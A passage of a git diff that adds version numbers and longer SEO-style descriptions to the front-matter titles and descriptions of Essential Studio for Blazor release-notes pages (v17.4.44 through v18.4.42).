+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.44.md b/blazor/Release-Notes/17.4.44.md
index 8b752ce687..5e606dbcc9 100644
--- a/blazor/Release-Notes/17.4.44.md
+++ b/blazor/Release-Notes/17.4.44.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.44  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.46.md b/blazor/Release-Notes/17.4.46.md
index 125eaf5a53..d6dd4296ca 100644
--- a/blazor/Release-Notes/17.4.46.md
+++ b/blazor/Release-Notes/17.4.46.md
@@ -1,5 +1,5 @@
 ---
-title: Essential Studio for Blazor 2019 volume 4 SP1 Release Notes  
+title: Essential Studio for Blazor 2019 volume 4 SP1 Release Notes - v17.4.46
 description: Essential Studio for Blazor 2019 volume 4 SP1 Release Notes  
 platform: Blazor
 documentation: ug
diff --git a/blazor/Release-Notes/17.4.47.md b/blazor/Release-Notes/17.4.47.md
index adc1e79749..163953e98a 100644
--- a/blazor/Release-Notes/17.4.47.md
+++ b/blazor/Release-Notes/17.4.47.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.47 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.49.md b/blazor/Release-Notes/17.4.49.md
index d4d3e667bb..90d3a8fd94 100644
--- a/blazor/Release-Notes/17.4.49.md
+++ b/blazor/Release-Notes/17.4.49.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.49  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.49, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.50.md b/blazor/Release-Notes/17.4.50.md
index c49f514eec..2cc615cad5 100644
--- a/blazor/Release-Notes/17.4.50.md
+++ b/blazor/Release-Notes/17.4.50.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.50  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.50, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.51.md b/blazor/Release-Notes/17.4.51.md
index d7862e9178..f37366cdb6 100644
--- a/blazor/Release-Notes/17.4.51.md
+++ b/blazor/Release-Notes/17.4.51.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.51  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.51, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.53.md b/blazor/Release-Notes/17.4.53.md
index 970d854248..ad160c5dd2 100644
--- a/blazor/Release-Notes/17.4.53.md
+++ b/blazor/Release-Notes/17.4.53.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.53  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.53, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.54.md b/blazor/Release-Notes/17.4.54.md
index 950240e7e5..8b1cec3e93 100644
--- a/blazor/Release-Notes/17.4.54.md
+++ b/blazor/Release-Notes/17.4.54.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.54 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.55.md b/blazor/Release-Notes/17.4.55.md
index a2417f81bf..a0e769eeff 100644
--- a/blazor/Release-Notes/17.4.55.md
+++ b/blazor/Release-Notes/17.4.55.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.55
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.36.md b/blazor/Release-Notes/18.1.36.md
index 4cdf156264..c0ee884454 100644
--- a/blazor/Release-Notes/18.1.36.md
+++ b/blazor/Release-Notes/18.1.36.md
@@ -1,5 +1,5 @@
 ---
-title: Essential Studio for Blazor 2020 volume 1 Beta Release Notes  
+title: Essential Studio for Blazor 2020 volume 1 Beta Release Notes -v18.1.36
 description: Essential Studio for Blazor 2020 volume 1 Beta Release Notes  
 platform: Blazor
 documentation: ug
diff --git a/blazor/Release-Notes/18.1.42.md b/blazor/Release-Notes/18.1.42.md
index 15ef21397c..e92bd97856 100644
--- a/blazor/Release-Notes/18.1.42.md
+++ b/blazor/Release-Notes/18.1.42.md
@@ -1,5 +1,5 @@
 ---
-title: Essential Studio for Blazor 2020 volume 1 Main Release Notes  
+title: Essential Studio for Blazor 2020 volume 1 Main Release Notes -v18.1.42
 description: Essential Studio for Blazor 2020 volume 1 Main Release Notes  
 platform: Blazor
 documentation: ug
diff --git a/blazor/Release-Notes/18.1.43.md b/blazor/Release-Notes/18.1.43.md
index 854c2058e0..8e330f8852 100644
--- a/blazor/Release-Notes/18.1.43.md
+++ b/blazor/Release-Notes/18.1.43.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.43 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.44.md b/blazor/Release-Notes/18.1.44.md
index edd84ca6cc..a38b0ba529 100644
--- a/blazor/Release-Notes/18.1.44.md
+++ b/blazor/Release-Notes/18.1.44.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.44  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.45.md b/blazor/Release-Notes/18.1.45.md
index 6a91163337..ebface3672 100644
--- a/blazor/Release-Notes/18.1.45.md
+++ b/blazor/Release-Notes/18.1.45.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.45  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.45, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.46.md b/blazor/Release-Notes/18.1.46.md
index 9756402ea5..672b555ba8 100644
--- a/blazor/Release-Notes/18.1.46.md
+++ b/blazor/Release-Notes/18.1.46.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.46  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.46, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.48.md b/blazor/Release-Notes/18.1.48.md
index ce07be04d9..a30b2d23bf 100644
--- a/blazor/Release-Notes/18.1.48.md
+++ b/blazor/Release-Notes/18.1.48.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.48  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.53.md b/blazor/Release-Notes/18.1.53.md
index f432f6f474..884ef66e2a 100644
--- a/blazor/Release-Notes/18.1.53.md
+++ b/blazor/Release-Notes/18.1.53.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.53  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.53, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.54.md b/blazor/Release-Notes/18.1.54.md
index a2f33afc55..bf6dacdb7d 100644
--- a/blazor/Release-Notes/18.1.54.md
+++ b/blazor/Release-Notes/18.1.54.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.54  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.55.md b/blazor/Release-Notes/18.1.55.md
index b5e5b0f4d6..b2f4c05292 100644
--- a/blazor/Release-Notes/18.1.55.md
+++ b/blazor/Release-Notes/18.1.55.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.55  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.56.md b/blazor/Release-Notes/18.1.56.md
index 87296d728d..ff0a5ff04c 100644
--- a/blazor/Release-Notes/18.1.56.md
+++ b/blazor/Release-Notes/18.1.56.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.56  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.56, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.57.md b/blazor/Release-Notes/18.1.57.md
index 98bfa7a29d..0ccc868c0e 100644
--- a/blazor/Release-Notes/18.1.57.md
+++ b/blazor/Release-Notes/18.1.57.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.57  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.57, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.58.md b/blazor/Release-Notes/18.1.58.md
index eba580b8dc..8ba5e7fb2c 100644
--- a/blazor/Release-Notes/18.1.58.md
+++ b/blazor/Release-Notes/18.1.58.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.58  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.58, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.1.59.md b/blazor/Release-Notes/18.1.59.md
index 1316f5a158..b958e5de0c 100644
--- a/blazor/Release-Notes/18.1.59.md
+++ b/blazor/Release-Notes/18.1.59.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.1.59 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.1.59, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.44.md b/blazor/Release-Notes/18.2.44.md
index 123fede116..5a3b54fca3 100644
--- a/blazor/Release-Notes/18.2.44.md
+++ b/blazor/Release-Notes/18.2.44.md
@@ -1,6 +1,6 @@
 ---
-title: Essential Studio for Blazor 2020 volume 2 Main Release Notes  
-description: Essential Studio for Blazor 2020 volume 2 Main Release Notes  
+title: Essential Studio for Blazor 2020 volume 2 Main Release Notes -v18.2.44
+description: Learn all about the Essential Studio for Blazor 2020 volume 2 Main Release Notes v18.2.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.45.md b/blazor/Release-Notes/18.2.45.md
index 949109ccd0..935fd278d6 100644
--- a/blazor/Release-Notes/18.2.45.md
+++ b/blazor/Release-Notes/18.2.45.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.45
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.45, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.46.md b/blazor/Release-Notes/18.2.46.md
index 12adf6dc76..c3b81cdb48 100644
--- a/blazor/Release-Notes/18.2.46.md
+++ b/blazor/Release-Notes/18.2.46.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.46  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.46, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.47.md b/blazor/Release-Notes/18.2.47.md
index e20b30a3ed..5fbc40c0ae 100644
--- a/blazor/Release-Notes/18.2.47.md
+++ b/blazor/Release-Notes/18.2.47.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.47  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.48.md b/blazor/Release-Notes/18.2.48.md
index 0d598d422d..6494770262 100644
--- a/blazor/Release-Notes/18.2.48.md
+++ b/blazor/Release-Notes/18.2.48.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.48  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.54.md b/blazor/Release-Notes/18.2.54.md
index 30e5f7ba1a..af05f7295a 100644
--- a/blazor/Release-Notes/18.2.54.md
+++ b/blazor/Release-Notes/18.2.54.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.54  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.54, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.55.md b/blazor/Release-Notes/18.2.55.md
index 2f0baa69fb..a4e38ee10c 100644
--- a/blazor/Release-Notes/18.2.55.md
+++ b/blazor/Release-Notes/18.2.55.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.55  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.55, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.56.md b/blazor/Release-Notes/18.2.56.md
index 136f38cfec..36e644df33 100644
--- a/blazor/Release-Notes/18.2.56.md
+++ b/blazor/Release-Notes/18.2.56.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.56  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.56, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.57.md b/blazor/Release-Notes/18.2.57.md
index e08cc2e958..03b41aca37 100644
--- a/blazor/Release-Notes/18.2.57.md
+++ b/blazor/Release-Notes/18.2.57.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.57  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.57, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.58.md b/blazor/Release-Notes/18.2.58.md
index 85abd3c384..8565164273 100644
--- a/blazor/Release-Notes/18.2.58.md
+++ b/blazor/Release-Notes/18.2.58.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.58  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.58, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.2.59.md b/blazor/Release-Notes/18.2.59.md
index 0faa9b24ef..728a197afd 100644
--- a/blazor/Release-Notes/18.2.59.md
+++ b/blazor/Release-Notes/18.2.59.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.2.59  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.2.59, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.35.md b/blazor/Release-Notes/18.3.35.md
index 2d44af1626..6a1295b885 100644
--- a/blazor/Release-Notes/18.3.35.md
+++ b/blazor/Release-Notes/18.3.35.md
@@ -1,6 +1,6 @@
 ---
-title: Essential Studio for Blazor 2020 volume 3 Main Release Notes  
-description: Essential Studio for Blazor 2020 volume 3 Main Release Notes  
+title: Essential Studio for Blazor 2020 volume 3 Main Release Notes -v18.3.35
+description: Learn all about the Essential Studio for Blazor 2020 volume 3 Main Release Notes v18.3.35, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.38.md b/blazor/Release-Notes/18.3.38.md
index b0a5210a6c..45a96a8dc9 100644
--- a/blazor/Release-Notes/18.3.38.md
+++ b/blazor/Release-Notes/18.3.38.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.38 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.38, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.40.md b/blazor/Release-Notes/18.3.40.md
index 200e7e9c7c..fa98a6a865 100644
--- a/blazor/Release-Notes/18.3.40.md
+++ b/blazor/Release-Notes/18.3.40.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.40  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.41.md b/blazor/Release-Notes/18.3.41.md
index ddde2347fe..c3c67325af 100644
--- a/blazor/Release-Notes/18.3.41.md
+++ b/blazor/Release-Notes/18.3.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.42.md b/blazor/Release-Notes/18.3.42.md
index 13fa08898a..e0931d8357 100644
--- a/blazor/Release-Notes/18.3.42.md
+++ b/blazor/Release-Notes/18.3.42.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.42  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.44.md b/blazor/Release-Notes/18.3.44.md
index ea5f3c1671..35f60f975a 100644
--- a/blazor/Release-Notes/18.3.44.md
+++ b/blazor/Release-Notes/18.3.44.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.44  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.47.md b/blazor/Release-Notes/18.3.47.md
index 3cc20fbb64..ebe5ec7863 100644
--- a/blazor/Release-Notes/18.3.47.md
+++ b/blazor/Release-Notes/18.3.47.md
@@ -1,5 +1,5 @@
 ---
-title: Essential Studio for Blazor 2020 volume 3 SP1 Release Notes  
+title: Essential Studio for Blazor 2020 volume 3 SP1 Release Notes - v18.3.47
 description: Essential Studio for Blazor 2020 volume 3 SP1 Release Notes  
 platform: Blazor
 documentation: ug
diff --git a/blazor/Release-Notes/18.3.48.md b/blazor/Release-Notes/18.3.48.md
index 38d16734eb..77dc8b491d 100644
--- a/blazor/Release-Notes/18.3.48.md
+++ b/blazor/Release-Notes/18.3.48.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.48  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.48, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.50.md b/blazor/Release-Notes/18.3.50.md
index 7c40e6a14e..e22cb3d7c7 100644
--- a/blazor/Release-Notes/18.3.50.md
+++ b/blazor/Release-Notes/18.3.50.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.50 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.50, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.51.md b/blazor/Release-Notes/18.3.51.md
index fa3b555d01..2e284e287f 100644
--- a/blazor/Release-Notes/18.3.51.md
+++ b/blazor/Release-Notes/18.3.51.md
@@ -1,6 +1,6 @@
 ---
-title: Essential Studio for Blazor Weekly Nuget Release Release Notes  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.51
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.51, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.52.md b/blazor/Release-Notes/18.3.52.md
index 7d6dcde97b..cf902718f9 100644
--- a/blazor/Release-Notes/18.3.52.md
+++ b/blazor/Release-Notes/18.3.52.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.52  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.52, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.3.53.md b/blazor/Release-Notes/18.3.53.md
index 377161bd90..d5d2bfb7f7 100644
--- a/blazor/Release-Notes/18.3.53.md
+++ b/blazor/Release-Notes/18.3.53.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.3.53  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.3.53, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.30.md b/blazor/Release-Notes/18.4.30.md
index aaf8f01ef8..d414754594 100644
--- a/blazor/Release-Notes/18.4.30.md
+++ b/blazor/Release-Notes/18.4.30.md
@@ -1,5 +1,5 @@
 ---
-title: Essential Studio for Blazor 2020 volume 4 Main Release Release Notes  
+title: Essential Studio for Blazor 2020 volume 4 Main Release Notes -v18.4.30
 description: Essential Studio for Blazor 2020 volume 4 Main Release Release Notes  
 platform: Blazor
 documentation: ug
diff --git a/blazor/Release-Notes/18.4.31.md b/blazor/Release-Notes/18.4.31.md
index dc1447b246..467bb601f9 100644
--- a/blazor/Release-Notes/18.4.31.md
+++ b/blazor/Release-Notes/18.4.31.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.31
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.31, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.32.md b/blazor/Release-Notes/18.4.32.md
index 6e680824cb..21db0c216c 100644
--- a/blazor/Release-Notes/18.4.32.md
+++ b/blazor/Release-Notes/18.4.32.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.32  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.32, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.33.md b/blazor/Release-Notes/18.4.33.md
index 57c5ea38ec..36faaf19ff 100644
--- a/blazor/Release-Notes/18.4.33.md
+++ b/blazor/Release-Notes/18.4.33.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.33  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.33, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.34.md b/blazor/Release-Notes/18.4.34.md
index c38080c42d..eeda8f1d68 100644
--- a/blazor/Release-Notes/18.4.34.md
+++ b/blazor/Release-Notes/18.4.34.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.34  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.34, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.35.md b/blazor/Release-Notes/18.4.35.md
index f282cca131..ebcdcfcc1f 100644
--- a/blazor/Release-Notes/18.4.35.md
+++ b/blazor/Release-Notes/18.4.35.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.35 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.35, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.39.md b/blazor/Release-Notes/18.4.39.md
index 04811199ea..d9b903d859 100644
--- a/blazor/Release-Notes/18.4.39.md
+++ b/blazor/Release-Notes/18.4.39.md
@@ -1,6 +1,6 @@
 ---
-title: Essential Studio for Blazor 2020 volume 4 SP1 Release Notes  
-description: Essential Studio for Blazor 2020 volume 4 SP1 Release Notes  
+title: Essential Studio for Blazor 2020 volume 4 SP1 Release Notes - v18.4.39
+description: Learn all about the Essential Studio for Blazor 2020 volume 4 SP1 Release Notes v18.4.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.41.md b/blazor/Release-Notes/18.4.41.md
index 6c3c2b2ea8..38b19ea446 100644
--- a/blazor/Release-Notes/18.4.41.md
+++ b/blazor/Release-Notes/18.4.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.41  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v18.4.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/18.4.42.md b/blazor/Release-Notes/18.4.42.md
index c0a4fb57df..55ac996c85 100644
--- a/blazor/Release-Notes/18.4.42.md
+++ b/blazor/Release-Notes/18.4.42.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v18.4.42  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
